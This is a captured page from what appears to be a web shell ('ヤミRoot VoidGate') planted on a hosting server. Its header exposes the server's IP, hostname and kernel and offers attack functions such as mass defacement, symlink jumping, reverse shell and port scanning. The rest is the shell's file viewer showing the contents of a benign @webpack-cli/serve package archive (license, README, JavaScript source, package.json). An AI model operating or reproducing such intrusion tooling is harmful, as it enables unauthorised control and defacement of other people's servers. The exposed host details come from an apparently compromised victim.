ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
fixtures
/
assert
/
Viewing: serve.tar
LICENSE 0000644 00000002056 15120140371 0005546 0 ustar 00 Copyright JS Foundation and other contributors Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. README.md 0000644 00000001744 15120140371 0006023 0 ustar 00 # webpack-cli serve [![NPM Downloads][downloads]][downloads-url] **This package is used by webpack-cli under-the-hood and is not intended for installation as of v0.2.0** ## Description This package contains the logic to run [webpack-dev-server](https://github.com/webpack/webpack-dev-server) to serve your webpack app and provide live reloading. ## Installation ```bash npm i -D webpack-cli @webpack-cli/serve ``` ## Usage ### CLI (via `webpack-cli`) ```bash npx webpack-cli serve ``` ### Options Checkout [`SERVE-OPTIONS-v3.md`](https://github.com/webpack/webpack-cli/blob/master/SERVE-OPTIONS-v3.md) or [`SERVE-OPTIONS-v4.md`](https://github.com/webpack/webpack-cli/blob/master/SERVE-OPTIONS-v4.md) to see list of all available options for `serve` command for respective [`webpack-dev-server`](https://github.com/webpack/webpack-dev-server) version. [downloads]: https://img.shields.io/npm/dm/@webpack-cli/serve.svg [downloads-url]: https://www.npmjs.com/package/@webpack-cli/serve lib/index.d.ts 0000644 00000000223 15120140371 0007202 0 ustar 00 import { IWebpackCLI } from "webpack-cli"; declare class ServeCommand { apply(cli: IWebpackCLI): Promise<void>; } export default ServeCommand; lib/index.js 0000644 00000034413 15120140371 0006756 0 ustar 00 "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); const WEBPACK_PACKAGE = process.env.WEBPACK_PACKAGE || "webpack"; const WEBPACK_DEV_SERVER_PACKAGE = process.env.WEBPACK_DEV_SERVER_PACKAGE || "webpack-dev-server"; class ServeCommand { async apply(cli) { const loadDevServerOptions = () => { // TODO simplify this after drop webpack v4 and webpack-dev-server v3 // eslint-disable-next-line @typescript-eslint/no-var-requires const devServer = require(WEBPACK_DEV_SERVER_PACKAGE); const isNewDevServerCLIAPI = typeof devServer.schema !== "undefined"; // eslint-disable-next-line @typescript-eslint/no-explicit-any let options = {}; if (isNewDevServerCLIAPI) { if (cli.webpack.cli && typeof cli.webpack.cli.getArguments === "function") { options = cli.webpack.cli.getArguments(devServer.schema); } else { options = devServer.cli.getArguments(); } } else { options = require(`${WEBPACK_DEV_SERVER_PACKAGE}/bin/cli-flags`); } // Old options format // { devServer: [{...}, {}...] } // eslint-disable-next-line @typescript-eslint/ban-ts-comment // @ts-ignore if (options.devServer) { // eslint-disable-next-line @typescript-eslint/ban-ts-comment // @ts-ignore return options.devServer; } // New options format // { flag1: {}, flag2: {} } return Object.keys(options).map((key) => { options[key].name = key; return options[key]; }); }; await cli.makeCommand({ name: "serve [entries...]", alias: ["server", "s"], description: "Run the webpack dev server.", usage: "[entries...] [options]", pkg: "@webpack-cli/serve", dependencies: [WEBPACK_PACKAGE, WEBPACK_DEV_SERVER_PACKAGE], }, async () => { let devServerFlags = []; cli.webpack = await cli.loadWebpack(); try { devServerFlags = loadDevServerOptions(); } catch (error) { cli.logger.error(`You need to install 'webpack-dev-server' for running 'webpack serve'.\n${error}`); process.exit(2); } const builtInOptions = cli.getBuiltInOptions().filter( // eslint-disable-next-line @typescript-eslint/no-explicit-any (option) => option.name !== "watch"); return [...builtInOptions, ...devServerFlags]; }, // eslint-disable-next-line @typescript-eslint/no-explicit-any async (entries, options) => { const builtInOptions = cli.getBuiltInOptions(); let devServerFlags = []; try { devServerFlags = loadDevServerOptions(); } catch (error) { // Nothing, to prevent future updates } // eslint-disable-next-line @typescript-eslint/no-explicit-any const webpackCLIOptions = {}; // eslint-disable-next-line @typescript-eslint/no-explicit-any const devServerCLIOptions = {}; // eslint-disable-next-line @typescript-eslint/no-explicit-any const processors = []; for (const optionName in options) { const kebabedOption = cli.toKebabCase(optionName); // `webpack-dev-server` has own logic for the `--hot` option const isBuiltInOption = kebabedOption !== "hot" && // eslint-disable-next-line @typescript-eslint/no-explicit-any builtInOptions.find((builtInOption) => builtInOption.name === kebabedOption); if (isBuiltInOption) { webpackCLIOptions[optionName] = options[optionName]; } else { const needToProcess = devServerFlags.find( // eslint-disable-next-line @typescript-eslint/no-explicit-any (devServerOption) => devServerOption.name === kebabedOption && devServerOption.processor); if (needToProcess) { processors.push(needToProcess.processor); } devServerCLIOptions[optionName] = options[optionName]; } } for (const processor of processors) { processor(devServerCLIOptions); } if (entries.length > 0) { webpackCLIOptions.entry = [...entries, ...(webpackCLIOptions.entry || [])]; } webpackCLIOptions.argv = Object.assign(Object.assign({}, options), { env: Object.assign({ WEBPACK_SERVE: true }, options.env) }); const compiler = await cli.createCompiler(webpackCLIOptions); if (!compiler) { return; } const servers = []; if (cli.needWatchStdin(compiler) || devServerCLIOptions.stdin) { // TODO remove in the next major release // Compatibility with old `stdin` option for `webpack-dev-server` // Should be removed for the next major release on both sides if (devServerCLIOptions.stdin) { delete devServerCLIOptions.stdin; } process.stdin.on("end", () => { Promise.all(servers.map((server) => { if (typeof server.stop === "function") { return server.stop(); } // TODO remove in the next major release return new Promise((resolve) => { server.close(() => { resolve(); }); }); })).then(() => { process.exit(0); }); }); process.stdin.resume(); } // eslint-disable-next-line @typescript-eslint/no-var-requires const DevServer = require(WEBPACK_DEV_SERVER_PACKAGE); const isNewDevServerCLIAPI = typeof DevServer.schema !== "undefined"; let devServerVersion; try { // eslint-disable-next-line @typescript-eslint/no-var-requires devServerVersion = require(`${WEBPACK_DEV_SERVER_PACKAGE}/package.json`).version; } catch (err) { cli.logger.error(`You need to install 'webpack-dev-server' for running 'webpack serve'.\n${err}`); process.exit(2); } const compilers = cli.isMultipleCompiler(compiler) ? compiler.compilers : [compiler]; const possibleCompilers = compilers.filter((compiler) => compiler.options.devServer); const compilersForDevServer = possibleCompilers.length > 0 ? possibleCompilers : [compilers[0]]; const isDevServer4 = devServerVersion.startsWith("4"); const usedPorts = []; for (const compilerForDevServer of compilersForDevServer) { let devServerOptions; if (isNewDevServerCLIAPI) { // eslint-disable-next-line @typescript-eslint/no-explicit-any const args = devServerFlags.reduce((accumulator, flag) => { accumulator[flag.name] = flag; return accumulator; }, {}); const values = Object.keys(devServerCLIOptions).reduce( // eslint-disable-next-line @typescript-eslint/no-explicit-any (accumulator, name) => { const kebabName = cli.toKebabCase(name); if (args[kebabName]) { accumulator[kebabName] = options[name]; } return accumulator; }, {}); const result = Object.assign({}, (compilerForDevServer.options.devServer || {})); const problems = (cli.webpack.cli && typeof cli.webpack.cli.processArguments === "function" ? cli.webpack.cli : DevServer.cli).processArguments(args, result, values); if (problems) { const groupBy = (xs, key) => { return xs.reduce((rv, x) => { (rv[x[key]] = rv[x[key]] || []).push(x); return rv; }, {}); }; const problemsByPath = groupBy(problems, "path"); for (const path in problemsByPath) { const problems = problemsByPath[path]; problems.forEach((problem) => { cli.logger.error(`${cli.capitalizeFirstLetter(problem.type.replace(/-/g, " "))}${problem.value ? ` '${problem.value}'` : ""} for the '--${problem.argument}' option${problem.index ? ` by index '${problem.index}'` : ""}`); if (problem.expected) { cli.logger.error(`Expected: '${problem.expected}'`); } }); } process.exit(2); } devServerOptions = result; } else { // TODO remove in the next major release const mergeOptions = (devServerOptions, devServerCliOptions) => { // CLI options should take precedence over devServer options, // and CLI options should have no default values included const options = Object.assign(Object.assign({}, devServerOptions), devServerCliOptions); if (devServerOptions.client && devServerCliOptions.client && typeof devServerOptions.client === "object" && typeof devServerCliOptions.client === "object") { // the user could set some client options in their devServer config, // then also specify client options on the CLI options.client = Object.assign(Object.assign({}, devServerOptions.client), devServerCliOptions.client); } return options; }; devServerOptions = mergeOptions(compilerForDevServer.options.devServer || {}, devServerCLIOptions); } // TODO remove in the next major release if (!isDevServer4) { const getPublicPathOption = () => { const normalizePublicPath = (publicPath) => typeof publicPath === "undefined" || publicPath === "auto" ? "/" : publicPath; if (options.outputPublicPath) { return normalizePublicPath(compilerForDevServer.options.output.publicPath); } if (devServerOptions.publicPath) { // eslint-disable-next-line @typescript-eslint/ban-ts-comment // @ts-ignore return normalizePublicPath(devServerOptions.publicPath); } return normalizePublicPath(compilerForDevServer.options.output.publicPath); }; const getStatsOption = () => { if (options.stats) { return options.stats; } if (devServerOptions.stats) { return devServerOptions.stats; } return compilerForDevServer.options.stats; }; devServerOptions.host = devServerOptions.host || "localhost"; devServerOptions.port = typeof devServerOptions.port !== "undefined" ? devServerOptions.port : 8080; devServerOptions.stats = getStatsOption(); devServerOptions.publicPath = getPublicPathOption(); } if (devServerOptions.port) { const portNumber = Number(devServerOptions.port); if (usedPorts.find((port) => portNumber === port)) { throw new Error("Unique ports must be specified for each devServer option in your webpack configuration. Alternatively, run only 1 devServer config using the --config-name flag to specify your desired config."); } usedPorts.push(portNumber); } try { let server; // TODO: remove after dropping webpack-dev-server@v3 if (isDevServer4) { server = new DevServer(devServerOptions, compiler); } else { server = new DevServer(compiler, devServerOptions); } if (typeof server.start === "function") { await server.start(); } else { // TODO remove in the next major release server.listen(devServerOptions.port, devServerOptions.host, (error) => { if (error) { throw error; } }); } servers.push(server); } catch (error) { if (cli.isValidationError(error)) { cli.logger.error(error.message); } else { cli.logger.error(error); } process.exit(2); } } }); } } exports.default = ServeCommand; node_modules/.bin/webpack-cli 0000644 00000000515 15120140371 0012146 0 ustar 00 #!/bin/sh basedir=$(dirname "$(echo "$0" | sed -e 's,\\,/,g')") case `uname` in *CYGWIN*) basedir=`cygpath -w "$basedir"`;; esac if [ -x "$basedir/node" ]; then "$basedir/node" "$basedir/../../../../webpack-cli/bin/cli.js" "$@" ret=$? else node "$basedir/../../../../webpack-cli/bin/cli.js" "$@" ret=$? fi exit $ret node_modules/.bin/webpack-cli.cmd 0000644 00000000314 15120140371 0012705 0 ustar 00 @IF EXIST "%~dp0\node.exe" ( "%~dp0\node.exe" "%~dp0\..\..\..\..\webpack-cli\bin\cli.js" %* ) ELSE ( @SETLOCAL @SET PATHEXT=%PATHEXT:;.JS;=;% node "%~dp0\..\..\..\..\webpack-cli\bin\cli.js" %* ) package.json 0000644 00000001170 15120140371 0007023 0 ustar 00 { "name": "@webpack-cli/serve", "version": "1.7.0", "description": "", "main": "lib/index.js", "types": "lib/index.d.ts", "keywords": [], "publishConfig": { "access": "public" }, "repository": { "type": "git", "url": "https://github.com/webpack/webpack-cli.git" }, "homepage": "https://github.com/webpack/webpack-cli/tree/master/packages/serve", "license": "MIT", "files": [ "lib" ], "peerDependencies": { "webpack-cli": "4.x.x" }, "peerDependenciesMeta": { "webpack-dev-server": { "optional": true } }, "gitHead": "20882d463450d010bb76e0824fe555e9785e9561" }
Coded With 💗 by
0x6ick